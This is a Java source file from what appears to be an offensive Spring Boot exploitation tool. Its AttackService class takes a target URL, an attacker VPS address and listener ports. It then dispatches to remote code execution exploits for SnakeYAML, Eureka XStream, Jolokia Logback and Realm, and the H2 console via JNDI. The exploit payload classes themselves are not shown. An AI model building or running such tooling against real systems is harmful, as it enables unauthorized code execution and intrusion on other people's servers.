package com.drops.main;

import com.drops.entity.ControllersFactory;
import com.drops.exp.*;
import com.drops.exp.util.VersionUtil;
import com.drops.poc.EurekaXstreamRCEPOC;
import com.drops.poc.SnakeYAMLRCEPOC;
import com.drops.poc.SpringBootInfo;
import com.drops.poc.SpringBootInfoCheck;
import com.drops.ui.MainController;
import com.drops.utils.Utils;

import java.util.ArrayList;
import java.util.List;

/**
 * @ClassName: AttackService
 * @Description: TODO
 * @Author: Summer
 * @Date: 2021/8/2 15:38
 * @Version: v1.0.0
 * @Description:
 **/
public class AttackService {
    String target ;
    String time;
    MainController mainController = (MainController) ControllersFactory.controllers.get(MainController.class.getSimpleName()); ;
//    SpringBootInfoCheck infoCheck = new SpringBootInfoCheck();
//    SpringBootInfo info = new SpringBootInfo();


    public AttackService(String targetAddressText, String httpTimeoutText) {
//        this.mainController =
//        this.time = httpTimeoutText;
//        this.target = targetAddressText;
//        this.infoCheck = new SpringBootInfoCheck();
    }

    public boolean gadgetSend(String target, String vps, String gadget, String[] ports){
        SpringBootInfoCheck infoCheck = new SpringBootInfoCheck();
        boolean flag = VersionUtil.isVersion(target);
//        boolean flag = true;
//        String type = "inje"
        String env = "/env";
        String env2 = "/actuator/env";
        String hport = ports[0];
        String lport = ports[1];
        System.out.println(target);
        System.out.println(vps);
        System.out.println(gadget);
        System.out.println("hport" + hport);
        System.out.println("lport" + lport);
//        System.out.println(echo);

        try {
            if (flag){
                if (gadget.equalsIgnoreCase("SnakeYAMLRCE")) {
                    SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP();
                    return exp.sendExp(target,vps,hport,flag);
                }else if (gadget.equalsIgnoreCase("EurekaXstreamRCE")){
                    EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC();
                    exp.hasEurekaXstreamRCE(target);
                    return false;
                }else if (gadget.equalsIgnoreCase("JolokiaLogbackRCE")){
                    JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP();
                    return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,hport,flag);

                }else if(gadget.equalsIgnoreCase("JolokiaRealmRCE")){
                    JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP();
                    return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,hport,flag);
                }else if (gadget.equalsIgnoreCase("H2DatabaseConsoleJNDIRCE")){
                    H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP();
                    return exp.hasH2DatabaseConsoleJNDIRCE(target, vps,lport);
                }

            }else {
                if (gadget.equalsIgnoreCase("SnakeYAMLRCE")) {
                    SnakeYAMLRCEEXP exp = new SnakeYAMLRCEEXP();
                    return exp.sendExp(target,vps,hport,flag);
                }else if (gadget.equalsIgnoreCase("EurekaXstreamRCE")){
                    EurekaXstreamRCEPOC exp = new EurekaXstreamRCEPOC();
                    exp.hasEurekaXstreamRCE(target);
                    return false;
                }else if (gadget.equalsIgnoreCase("JolokiaLogbackRCE")){
                    JolokiaLogbackRCEEXP jolokiaLogbackRCEEXP = new JolokiaLogbackRCEEXP();
                    return jolokiaLogbackRCEEXP.hasJolokiaLogbackRCE(target,vps,hport,flag);

                }else if(gadget.equalsIgnoreCase("JolokiaRealmRCE")){
                    JolokiaRealmRCEEXP jolokiaRealmRCEEXP = new JolokiaRealmRCEEXP();
                    return jolokiaRealmRCEEXP.hasJolokiaRealmRCE(target,vps,hport,flag);


                }else if (gadget.equalsIgnoreCase("H2DatabaseConsoleJNDIRCE")){
                    H2DatabaseConsoleJNDIRCEEXP exp = new H2DatabaseConsoleJNDIRCEEXP();
                   return exp.hasH2DatabaseConsoleJNDIRCE(target, vps,lport);

                }
            }
        }catch (Exception e){
            return false;
        }

        return false;
    }


    public void setPOCRequest(String target, String vps, String gadget,String echo){

    }

}
